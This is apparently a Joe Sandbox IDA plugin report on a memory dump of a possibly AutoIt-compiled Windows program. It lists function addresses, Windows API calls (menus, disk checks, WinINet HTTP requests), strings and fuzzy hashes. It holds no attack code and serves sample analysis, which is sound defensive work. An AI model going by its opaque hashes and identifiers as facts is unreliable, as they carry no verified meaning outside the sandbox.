Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 1256254125-769500911
Opcode ID: 4bf7c70b31ddbc9935ed239c266efa6c14018e5164037cfae7d62defac36fad1
Instruction ID: 9943be374e83f604c99ca196fe4899c4b48bbcea28adad7ceefce4ebd3fd76f4
Opcode Fuzzy Hash: 4bf7c70b31ddbc9935ed239c266efa6c14018e5164037cfae7d62defac36fad1
Instruction Fuzzy Hash: DF41D632A010279BCB20AF7DC8905FE7BA7BFA1754B265129E961DB384E731CD81C790

Function 00655393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 006553A0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00655416
GetLastError.KERNEL32 ref: 00655420
SetErrorMode.KERNEL32(00000000,READY), ref: 006554A7

Strings

INVALID, xrefs: 00655459
READY, xrefs: 00655460, 00655468
NOTREADY, xrefs: 0065544B
READONLY, xrefs: 00655452
UNKNOWN, xrefs: 00655444

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 2a715bb731e88bb79f8c51b85794c0c57ea493b026f1caf54156d87a63c98bc6
Instruction ID: 1201c476e611a578ce9b36ff1528161d746b20b44e2e58660d19e759b0938037
Opcode Fuzzy Hash: 2a715bb731e88bb79f8c51b85794c0c57ea493b026f1caf54156d87a63c98bc6
Instruction Fuzzy Hash: CD31B335A006459FD714DF68C898AE9BBF6FF45306F188069E806CB392D731DD8ACB90

Function 00673C46 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00673C79
SetMenu.USER32(?,00000000), ref: 00673C88
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00673D10
IsMenu.USER32(?), ref: 00673D24
CreatePopupMenu.USER32 ref: 00673D2E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00673D5B
DrawMenuBar.USER32 ref: 00673D63

Strings

F, xrefs: 00673D4E
0, xrefs: 00673C54

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: 405f21cbca96f09f67e2f54564717628b614aeccacc7f8669d25306685352115
Instruction ID: 0e8f7fdc95edf26eec8b3ecff8626954a576a65f45fdfae784a02e76f6557e42
Opcode Fuzzy Hash: 405f21cbca96f09f67e2f54564717628b614aeccacc7f8669d25306685352115
Instruction Fuzzy Hash: 3C419A74A01219EFDB28CF64D854AEA7BB6FF49310F14402CF94AA7360D771AA10DF90

Function 00641EDF Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

Part of subcall function 00643CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00643CCA

SendMessageW.USER32(?,0000018C,000000FF,00020000), ref: 00641F64
GetDlgCtrlID.USER32 ref: 00641F6F
GetParent.USER32 ref: 00641F8B
SendMessageW.USER32(00000000,?,00000111,?), ref: 00641F8E
GetDlgCtrlID.USER32(?), ref: 00641F97
GetParent.USER32(?), ref: 00641FAB
SendMessageW.USER32(00000000,?,00000111,?), ref: 00641FAE

Strings

ComboBox, xrefs: 00641EEC
ListBox, xrefs: 00641F21

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: 3d21812298eb40e49def2c75d82dbe940f1d7954ce6f480d9921603c958fc651
Instruction ID: 439ffb3fc90a5a5e85cfafd39ff7f8860c243c48796760d09ef8e39518543c06
Opcode Fuzzy Hash: 3d21812298eb40e49def2c75d82dbe940f1d7954ce6f480d9921603c958fc651
Instruction Fuzzy Hash: F521D170900214BBCF08AFA0CC85EEEBBBAEF06310F100159F965A72A1DB355989DB60

Function 00673A23 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00673A9D
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00673AA0
GetWindowLongW.USER32(?,000000F0), ref: 00673AC7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00673AEA
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00673B62
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00673BAC
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00673BC7
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00673BE2
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00673BF6
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00673C13

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: 5fa013c3a0d7fb167a09ec1d6ea426e888b18b5443b2fc43fff15d5a3a97ce81
Instruction ID: 23ee6755b3b31fb594e4d7413c32dfd7c1e5ff08a22df2a020a9bc2ca4dd99e6
Opcode Fuzzy Hash: 5fa013c3a0d7fb167a09ec1d6ea426e888b18b5443b2fc43fff15d5a3a97ce81
Instruction Fuzzy Hash: FD616CB5900258AFDB11DF68CC81EEE77B9EB09710F104199FA19AB391D770AE81DF50

Function 00612C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00612C94

Part of subcall function 006129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0061D7D1,00000000,00000000,00000000,00000000,?,0061D7F8,00000000,00000007,00000000,?,0061DBF5,00000000), ref: 006129DE
Part of subcall function 006129C8: GetLastError.KERNEL32(00000000,?,0061D7D1,00000000,00000000,00000000,00000000,?,0061D7F8,00000000,00000007,00000000,?,0061DBF5,00000000,00000000), ref: 006129F0

_free.LIBCMT ref: 00612CA0
_free.LIBCMT ref: 00612CAB
_free.LIBCMT ref: 00612CB6
_free.LIBCMT ref: 00612CC1
_free.LIBCMT ref: 00612CCC
_free.LIBCMT ref: 00612CD7
_free.LIBCMT ref: 00612CE2
_free.LIBCMT ref: 00612CED
_free.LIBCMT ref: 00612CFB

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d730da81bd45cf07be6670168b57077f32aefe72bf61ca66d9cb41ce16f66cb2
Instruction ID: 190b2032d830512401e0dd5d9d85a80bfcc0d76b748cd059a187064eeec57530
Opcode Fuzzy Hash: d730da81bd45cf07be6670168b57077f32aefe72bf61ca66d9cb41ce16f66cb2
Instruction Fuzzy Hash: 3211E976100109BFCB42EF59D852CDD3BA6FF05760F4548A8FA485F222D631EEB09B94

Function 00657DF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00657FAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00657FC1
GetFileAttributesW.KERNEL32(?), ref: 00657FEB
SetFileAttributesW.KERNEL32(?,00000000), ref: 00658005
SetCurrentDirectoryW.KERNEL32(?), ref: 00658017
SetCurrentDirectoryW.KERNEL32(?), ref: 00658060
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 006580B0

Strings

*.*, xrefs: 00658066

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile
String ID: *.*
API String ID: 769691225-438819550
Opcode ID: 549fed2ee03d8f1132f10d7d55ac20e34f3d897dfa3fa216fbb073523334b797
Instruction ID: c84cd9625253fc7a4774ae6fbf8290a4b6d95540605449965b11654214b36d69
Opcode Fuzzy Hash: 549fed2ee03d8f1132f10d7d55ac20e34f3d897dfa3fa216fbb073523334b797
Instruction Fuzzy Hash: 5881CF725083459FCB24EF14D8469AAB7EABF88312F14486EFC85D7250EB34DD49CB92

Function 005E5BEA Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 005E5C7A

Part of subcall function 005E5D0A: GetClientRect.USER32(?,?), ref: 005E5D30
Part of subcall function 005E5D0A: GetWindowRect.USER32(?,?), ref: 005E5D71
Part of subcall function 005E5D0A: ScreenToClient.USER32(?,?), ref: 005E5D99

GetDC.USER32 ref: 006246F5
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00624708
SelectObject.GDI32(00000000,00000000), ref: 00624716
SelectObject.GDI32(00000000,00000000), ref: 0062472B
ReleaseDC.USER32(?,00000000), ref: 00624733
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 006247C4

Strings

U, xrefs: 00624693

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 18ec98b1fe719cae54d68bd16ee29b352ba166800bd7475c24f34d5908615d0a
Instruction ID: ad652d12f1d5ce589c4fc16bb4186396260c3368635a2eddefcd2ddef961b3db
Opcode Fuzzy Hash: 18ec98b1fe719cae54d68bd16ee29b352ba166800bd7475c24f34d5908615d0a
Instruction Fuzzy Hash: FB710231500A05DFCF258F64D984AFA3BB7FF4A324F244269EDA95A266DB318C81DF50

Function 0065359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 006535E4

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

LoadStringW.USER32(006B2390,?,00000FFF,?), ref: 0065360A

Strings

^ ERROR, xrefs: 006536C9
"%s" (%d) : ==> %s:%s%s, xrefs: 00653724
"%s" (%d) : ==> %s:, xrefs: 00653742
Line %d (File "%s"):, xrefs: 0065366B
Error: , xrefs: 006536EF

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-2391861430
Opcode ID: b5880a0a520d4b3a78a1a7ecb1fe632dc805cd122606c0e1a784d9a1544241aa
Instruction ID: 16ee8ac055c1d3aada1eed0dde4ff8a55c11e916da2e789b59e050947e1c8716
Opcode Fuzzy Hash: b5880a0a520d4b3a78a1a7ecb1fe632dc805cd122606c0e1a784d9a1544241aa
Instruction Fuzzy Hash: 2251AF71C0025ABACF19EBA1CC46EEEBB7AFF48741F144129F505721A1EB301A89CF60

Function 0065C253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0065C272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0065C29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0065C2CA
GetLastError.KERNEL32 ref: 0065C322
SetEvent.KERNEL32(?), ref: 0065C336
InternetCloseHandle.WININET(00000000), ref: 0065C341

Strings

, xrefs: 0065C2BB

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: c1f80c72358af9b17f22c4e2ca0c626332e09a6c784d6c4b90baa552da27c192
Instruction ID: a12d65221e6d828a1e599427caee19dc67362560900d4efcceb907cdc568b98b
Opcode Fuzzy Hash: c1f80c72358af9b17f22c4e2ca0c626332e09a6c784d6c4b90baa552da27c192
Instruction Fuzzy Hash: C13181B1500308AFD7259F64CC88AAB7BFEEF49765F10851DF84AD2211DB30DD499B60

Function 0064989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00623AAF,?,?,Bad directive syntax error,0067CC08,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 006498BC
LoadStringW.USER32(00000000,?,00623AAF,?), ref: 006498C3

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00649987

Strings

Line %d:, xrefs: 00649912
%s (%d) : ==> %s.: %s %s, xrefs: 006498F1
Error: , xrefs: 00649955
., xrefs: 0064996D
Line %d (File "%s"):, xrefs: 0064992D

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: 22a8d5d33736e66b8d1bbc632e6f470c47df57adb1edd584aa62eb4299f321ff
Instruction ID: 2371681afe9f5cf1b14b924b9db78d79436d3f67dae89c94813de56be575f967
Opcode Fuzzy Hash: 22a8d5d33736e66b8d1bbc632e6f470c47df57adb1edd584aa62eb4299f321ff
Instruction Fuzzy Hash: BB21763184025EEBCF19AF90CC0AEEE7B76FF59300F084469F519660A1EB719A58DF60

Function 0064209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 006420AB
GetClassNameW.USER32(00000000,?,00000100), ref: 006420C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 0064214D

Strings

SHELLDLL_DefView, xrefs: 006420CC
details, xrefs: 006420FB
smallicons, xrefs: 00642115
list, xrefs: 0064212F
largeicons, xrefs: 006420E1

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: 68f7bd23b21d64b01aa3733b3214684590c5a73fe1bdd88cc03f017323de0eaf
Instruction ID: 809247a488acf84487acdb88c561c7306c94826a3a467dc68943b99d5a452b1e
Opcode Fuzzy Hash: 68f7bd23b21d64b01aa3733b3214684590c5a73fe1bdd88cc03f017323de0eaf
Instruction Fuzzy Hash: 08113A762C4307B9F7157224DC26DE7379FCB06725B71001AF705A60D1EE655C425A28

Function 0061CE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0061CEB7
_free.LIBCMT ref: 0061CF22
_free.LIBCMT ref: 0061CF48
_free.LIBCMT ref: 0061CF71
_free.LIBCMT ref: 0061CFA9
_free.LIBCMT ref: 0061CFDA
_free.LIBCMT ref: 0061D01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 0061D09C
_free.LIBCMT ref: 0061D0B5

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: 5ab18a008210119110416945c0861ede1520aba2cb9f10f0597cee0eee18fe79
Instruction ID: a211cf600d57d4c369516523d3ed228e5a5be57c86c7952690126b8fcfe7a60a
Opcode Fuzzy Hash: 5ab18a008210119110416945c0861ede1520aba2cb9f10f0597cee0eee18fe79
Instruction Fuzzy Hash: 416127B1944301AFDB21AFB89891AEE7BA7AF05730F0C416DF94497381D6319DC2C794

Function 006750D4 Relevance: 13.7, APIs: 9, Instructions: 162windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00002001,00000000,00000000), ref: 00675186
ShowWindow.USER32(?,00000000), ref: 006751C7
ShowWindow.USER32(?,00000005,?,00000000), ref: 006751CD
SetFocus.USER32(?,?,00000005,?,00000000), ref: 006751D1

Part of subcall function 00676FBA: DeleteObject.GDI32(00000000), ref: 00676FE6

GetWindowLongW.USER32(?,000000F0), ref: 0067520D
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0067521A
InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 0067524D
SendMessageW.USER32(?,00001001,00000000,000000FE), ref: 00675287
SendMessageW.USER32(?,00001026,00000000,000000FE), ref: 00675296

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: c2aa56ba3afd57e8b2b11787d6bb2e22bf066a19fea5aca884434c5332b5bae8
Instruction ID: 15d28c59a9bdb742594ef0c1fdce85900a3ecafe35d399d232a068d3d97e38cd
Opcode Fuzzy Hash: c2aa56ba3afd57e8b2b11787d6bb2e22bf066a19fea5aca884434c5332b5bae8
Instruction Fuzzy Hash: 3851A430A50A09BEEF249F24CC49BD83B67FB05321F54C195F62E962E1C7F5AA90DB40

Function 005F8B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 00636890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 006368A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 006368B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 006368D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 006368F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,005F8874,00000000,00000000,00000000,000000FF,00000000), ref: 00636901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0063691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,005F8874,00000000,00000000,00000000,000000FF,00000000), ref: 0063692D

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: fc48fa38c1b230b85ec61cff4e753e655c768114fc02674de68d1968af6061d4
Instruction ID: d02183a830b7712c2287304b0056b2dc2b2b11885106daf2b88fc1fa54376cea
Opcode Fuzzy Hash: fc48fa38c1b230b85ec61cff4e753e655c768114fc02674de68d1968af6061d4
Instruction Fuzzy Hash: 0F519A70600609FFDB24CF25CC95BBA7BB6FB48360F104518FA56972A0DB74E990DB50

Function 0065C143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0065C182
GetLastError.KERNEL32 ref: 0065C195
SetEvent.KERNEL32(?), ref: 0065C1A9

Part of subcall function 0065C253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0065C272
Part of subcall function 0065C253: GetLastError.KERNEL32 ref: 0065C322
